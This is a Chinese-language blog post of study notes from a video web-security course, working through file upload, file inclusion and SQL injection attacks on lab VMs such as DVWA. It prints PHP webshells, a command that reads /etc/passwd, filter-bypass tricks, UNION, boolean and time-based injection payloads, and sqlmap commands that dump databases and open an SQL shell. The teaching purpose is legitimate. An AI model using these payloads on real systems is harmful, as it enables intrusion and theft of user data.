B站 程序学习的 黑客攻防 [网络安全] - 记录

cc攻击:针对应用,比如恶意刷验证码
DDoS攻击:针对服务器,比如大量的http请求,超大流量的恶意访问 ← ← ← 刮刮乐

笔记来源B站视频(知识区>野生技术协会),阿婆主->程序学习
黑客攻防 从入门到入yu【網絡安全】:https://www.bilibili.com/video/BV1E4411L7zS

文章目录

    • 文件上传漏洞原理
      • 实验原理
      • 实验过程
      • webshell
      • 菜刀详解+官网下载链接
    • 文件包含渗透 File Inclusion
      • 项目实验环境
      • 文件包含漏洞危害及原理
        • 低安全级别
        • 中安全级别
        • 高安全级别
    • SQL注入攻击及防御
      • 项目实验环境
      • SQL注入危害
      • SQL基础回顾
      • SQL注入流程
      • 手动注入实战
        • 1、基于错误的注入
        • 2、基于布尔的注入
        • 3、基于UNION的注入
        • 4、基于时间的盲注
      • SQLmap自动注入
        • 1、GET方法注入+数据获取
        • 2、POST方法注入+数据获取
        • 3、提权操作
        • 4、综合实例

文件上传漏洞原理

B站 程序学习的 黑客攻防 [网络安全] - 记录_第1张图片
实验靶机:OWASP_BrokenWeb_Apps_VM_1.2
下载地址:https://sourceforge.net/projects/owaspbwa/files/1.2/OWASP_BrokenWeb_Apps_VM_1.2.zip/download

测试渗透机:Kali_Linux
官网下载地址:https://www.kali.org/downloads/

实验原理

B站 程序学习的 黑客攻防 [网络安全] - 记录_第2张图片

实验过程

实验一:
低安全模式下,上传任意类型文件,文件不大限制

实验二:
中安全模式下,绕过类型上传文件(文件MIME类型)
修改浏览器代理为BurpSuite的代理
通过BurpSuite修改Content-Type的信息,改为 image/JPEG
实验二实现原理:
B站 程序学习的 黑客攻防 [网络安全] - 记录_第3张图片
实验三:
高安全模式,上传一句话图片木马(文件后缀名限制)

webshell

B站 程序学习的 黑客攻防 [网络安全] - 记录_第4张图片

shell2.php #eval 使用php函数,例如phpinfo();
<?php eval($_REQUEST['cmd']);?>
http://10.3.139.173/dvwa/hackable/uploads/shell2.php?cmd=phpinfo();

shell3.php #system 使用Linux系统命令,例如ls,cp,rm
<?php system($_REQUEST['yangge']);?>
http://10.3.139.173/dvwa/hackable/uploads/shell3php?yangge=cat /etc/passwd
#ip地址改为自己的

B站 程序学习的 黑客攻防 [网络安全] - 记录_第5张图片

菜刀详解+官网下载链接

中国菜刀官网:http://www.maicaidao.co/
腾讯哈勃查毒(轻度风险):https://habo.qq.com/

在文件中找到readme.txt,里面有详细使用方法

文件包含渗透 File Inclusion

项目实验环境

B站 程序学习的 黑客攻防 [网络安全] - 记录_第6张图片
本地文件包含:LFI
远程文件包含:RFI

老师手绘图
B站 程序学习的 黑客攻防 [网络安全] - 记录_第7张图片

文件包含漏洞危害及原理

B站 程序学习的 黑客攻防 [网络安全] - 记录_第8张图片

低安全级别

本地文件包含
B站 程序学习的 黑客攻防 [网络安全] - 记录_第9张图片
本地文件包含 + webshell

一句话木马脚本
<?fputs(fopen("shell20.php","w"),'$_POST[yangge]);?>')?>

B站 程序学习的 黑客攻防 [网络安全] - 记录_第10张图片
edjpgcom工具链接:
链接: https://pan.baidu.com/s/1JrO1IDzkLyhqn2AGh6wD2Q
提取码: nq6d

注意:图片不能太大,否则可能运行不了
B站 程序学习的 黑客攻防 [网络安全] - 记录_第11张图片
B站 程序学习的 黑客攻防 [网络安全] - 记录_第12张图片

相对路径
http://192.168.106.134/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/yangge.jpg
绝对路径
http://192.168.106.134/dvwa/vulnerabilities/fi/?page=/var/www/dvwa/hackable/uploads/yangge.jpg

远程文件包含 + webshell
建立远程服务器
安装web服务(apache2)
systemctl start apache2
vim /var/www/html/yangge.txt

')?>

中安全级别

**本地文件包含:**和低安全级别操作一样
**本地文件包含 + webshell:**和低安全级别操作一样

远程文件包含 + webshell
后台源码用str_replace函数只替换一个http://,那改成httphttp:///就行了

高安全级别

后台源码写死,固定了包含文件,安全无漏洞但不灵活

SQL注入攻击及防御

B站 程序学习的 黑客攻防 [网络安全] - 记录_第13张图片

项目实验环境

实验靶机:OWASP_BrokenWeb_Apps_VM_1.2
下载地址:https://sourceforge.net/projects/owaspbwa/files/1.2/OWASP_BrokenWeb_Apps_VM_1.2.zip/download

测试渗透机:Kali_Linux
官网下载地址:https://www.kali.org/downloads/

SQL注入危害

  1. 拖库导致用户数据泄露
  2. 危害web等应用的安全
  3. 失去操作系统的控制权
  4. 用户信息被非法买卖
  5. 危害企业及国家的安全

SQL基础回顾

1、登录OWASP
B站 程序学习的 黑客攻防 [网络安全] - 记录_第14张图片
2、查看数据库
show databases; 查看所有数据库
select database(); 查看当前所在的库
use dvwa; 进去dvwa库
3、查看库中的表
show tables;
4、查看表结构
desc table;
5、查看表记录
比如select语句
B站 程序学习的 黑客攻防 [网络安全] - 记录_第15张图片
示例

//简单查询示例
当前库dvwa dvwa .users
mysql> select * from users;
mysql> select user_id,first

其它库 mysql.user
mysql> desc mysql.user;
mysql> select * from mysql.user;
mysql> select user,password,host from mysql.user;

其它库 wordpress .user
mysql> desc wordpress.wp_users;
mysql> select * from wordpress.wp_users;
wysql> select user_login,user_pass from wordpress.wp_users;

//条件查询示例
mysql> select user,password,host from mysql.user where user='root';
mysqi> select user,password,host from mysql.user where user='root' and host='localhost':
mysql> select user,password,host from mysql.user where user='root' or host='localhost';

mysql> desc dvwa .users;
mysq1> select user_id,first_name,last_name from dvwa.users where first_name='yangge';
mysql> select user_id,first_name,last_name from dvwa.users where first_name='yangge' or 1=1;
mysqi> select user_id,first_name,last_name from dvwa.users where first_name='admin' and 1=2;

mysql> select user_id,first_name,last_name from dvwa.users where user_id=2;
mysql> select user_id,first_name,last_name from dvwa.users where user_id=7;
mysql> select user_id,first_name,last_name from dvwa.users where user_id=7 or 1=1;

联合查询
B站 程序学习的 黑客攻防 [网络安全] - 记录_第16张图片

注:union查询前后字段数必须相同
mysql> select user,password,host from mysql.user union select user_login,user_pass,3 from wordpress.wp_users;

注入语句
B站 程序学习的 黑客攻防 [网络安全] - 记录_第17张图片
B站 程序学习的 黑客攻防 [网络安全] - 记录_第18张图片

mysql> select * from dvwa.users union select user_login,user_pass,1,2,3,4 from wordpress.wp_users;

6、information_schema(元数据)

B站 程序学习的 黑客攻防 [网络安全] - 记录_第19张图片

====查询数据库库名、表名 information_schema.tables===
mysql> select * from information_schema.TABLES\G
mysql> select DISTINCT TABLE_SCHEMA from information_schema.TABLES;  //等价于show databases
mysql> select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES\G
mysql> select TABLE_SCHEMA,GROUP_CONCAT(TABLE_NAME) from information_schema.TABLES GROUP BY
TABLE_SCHEMA\G
mysql> select TABLE_NAME from INFORMATION_SCHEMA.tables where TABLE_SCHEMA='dvwa';  //等价于show tables

B站 程序学习的 黑客攻防 [网络安全] - 记录_第20张图片
B站 程序学习的 黑客攻防 [网络安全] - 记录_第21张图片

===查询数据库库名、表名、字段名 information_schema.columns===
mysql> select * from information_schema.columns\G
mysql> select column_name from INFORMATION_SCHEMA.columns
mysql> select column_name from INFORMATION_SCHEMA.columns where table_schema='dvwa’ and table_name='users';  //相当于desc
mysql> select column_name from INFORMATION_SCHEMA.columns where table_name='USER_PRIVILEGES';  
mysql> select column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES';  

SQL注入流程

B站 程序学习的 黑客攻防 [网络安全] - 记录_第22张图片

手动注入实战

1、基于错误的注入

目的:试探某位置是否有注入点
基于错误的注入
语句分析
B站 程序学习的 黑客攻防 [网络安全] - 记录_第23张图片
输入单引号 ’ 报错
B站 程序学习的 黑客攻防 [网络安全] - 记录_第24张图片

select first_name,last_name from dvwa users where user_id='''

2、基于布尔的注入

注入语句

select first_name,last_name from dvwa users where user_id='' or 1=1 -- yangge '

' or 1=1 -- yangge
第一个 ’ 为了闭合前面的条件
or 1=1 为真的条件
- - 注释掉后面所有语句

一般可以查到本张表的所有数据

3、基于UNION的注入

B站 程序学习的 黑客攻防 [网络安全] - 记录_第25张图片
B站 程序学习的 黑客攻防 [网络安全] - 记录_第26张图片
B站 程序学习的 黑客攻防 [网络安全] - 记录_第27张图片

//查询所有库名
'union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- '
mysql> select first_name,last_name from dvwa.users where user_id='' union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- '
//查询所有库的表名
' union select table_name,1 from INFORMATION_SCHEMA.tables -- ''
mysql> select first_name,last_name from dvwa.users where user_id='' union select table_name,1 from INFORMATION_SCHEMA.tables -- ''
//查询所有表名及对应库名
' union select TABLE_SCHEMA, table_name from SINFORMATION_SCHEMA.tables -- ''
mysql> select first_name,last_name from dvwa.users where user_id='' union select TABLE_SCHEMA, table_name from SINFORMATION_SCHEMA.tables -- ''

B站 程序学习的 黑客攻防 [网络安全] - 记录_第28张图片

//原始语句
mysq1> select first_name,last_name from dvwa.users where user_id='$id'
//查询数据表
'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name="users' --'
'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name='USER PRIVILEGE' --'
'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES' --'

B站 程序学习的 黑客攻防 [网络安全] - 记录_第29张图片

//查询数据列
'union select NULL, user from users -- '
'union select NULL, password from users -- '
'union select user, password from users -- '
'union select NULL, GRANTEE from USER_PRIVILEGES -- '
'union select password, concat(first_name,' ',last_name,' ',user)  from users --'
输入语句
mysq1> select first_name,last_name from dvwa.users where user_id=' 'union select password, concat(first_name,' ',last_name,' ',user)  from users --'

注入语句
B站 程序学习的 黑客攻防 [网络安全] - 记录_第30张图片
可以查到本张表以外的那些表的数据
前提是
第一要知道union前面SQL语句查询的字段数
第二要知道union后面的要查的那张表的字段名

4、基于时间的盲注

SQL injection (Blind) - 盲注

有些数据库对错误信息做了安全配置,使得不能通过以上方法探测到注入点,此时,通过设置 sleep 语句来探测注入点
1' and sleep(5) -- '
盲注

SQL注入语句解析:
mysql> select first_name,last_name from dvwa.users where user_id='1' and sleep(5) -- '

SQLmap自动注入

  SQ注入比较好用的工具,首推开源工具 SQLmap。SQLmap是个国内外著名的安全稳定性测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳定性测试的功能选项,包括获取数据库中有的数据,访可操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
   SQLmapx-MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2,SQLite, Firebird, Sybase和 SAP MaxDB等数据库的各中安全漏洞检测
sqlmap -hh | less
B站 程序学习的 黑客攻防 [网络安全] - 记录_第31张图片
各行参数自行翻译(本人英语渣渣)

1、GET方法注入+数据获取

有登陆权限漏洞的靶机 OWASPMutillidae ‖
B站 程序学习的 黑客攻防 [网络安全] - 记录_第32张图片
通过指定参数注入(复制网页链接,再加上参数)

root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --batch -p username


B站 程序学习的 黑客攻防 [网络安全] - 记录_第33张图片
获取所有数据库

root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --dbs

B站 程序学习的 黑客攻防 [网络安全] - 记录_第34张图片
获取所有用户

root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --users

B站 程序学习的 黑客攻防 [网络安全] - 记录_第35张图片
获取当前用户

root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --current-user
--users  //获取全部用户
--current-user //获取当前用户
--dbs	//获取全部数据库
--current-db	//获取当前数据库
-D "database_name" --tables
-D "database_name" -T "table_name" --colun
--dump-all //整个数据库全部dump()下来
--dump-all --exclude-sysdbs //排除系统库
-D "database_name" -T "table_name" --dump
-D "database_name" -T "table_name" -C "username, password" --dump
--batch //自动化完成![在这里插入图片描述](https://img-blog.csdnimg.cn/20200620142056130.png)

在这里插入图片描述
演示步骤:
B站 程序学习的 黑客攻防 [网络安全] - 记录_第36张图片

2、POST方法注入+数据获取

需要带cookie才能访问注入的页面, – cookie=""
root@kall:~# sqlmap -u "http://192.168.106.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="换成自己的" --batch
多个 cookie 用 ; 分开
PHPSESSID = ID(主意,要用 =,而不是 :)
B站 程序学习的 黑客攻防 [网络安全] - 记录_第37张图片
B站 程序学习的 黑客攻防 [网络安全] - 记录_第38张图片
演示步骤(和GET差不多):
B站 程序学习的 黑客攻防 [网络安全] - 记录_第39张图片

3、提权操作

提权操作:--sql-shell

获取sql权限后(操作数据库):
sql-shell:select * from users;
B站 程序学习的 黑客攻防 [网络安全] - 记录_第40张图片

4、综合实例

B站 程序学习的 黑客攻防 [网络安全] - 记录_第41张图片

你可能感兴趣的:(安全,SQL注入,安全漏洞,网络安全)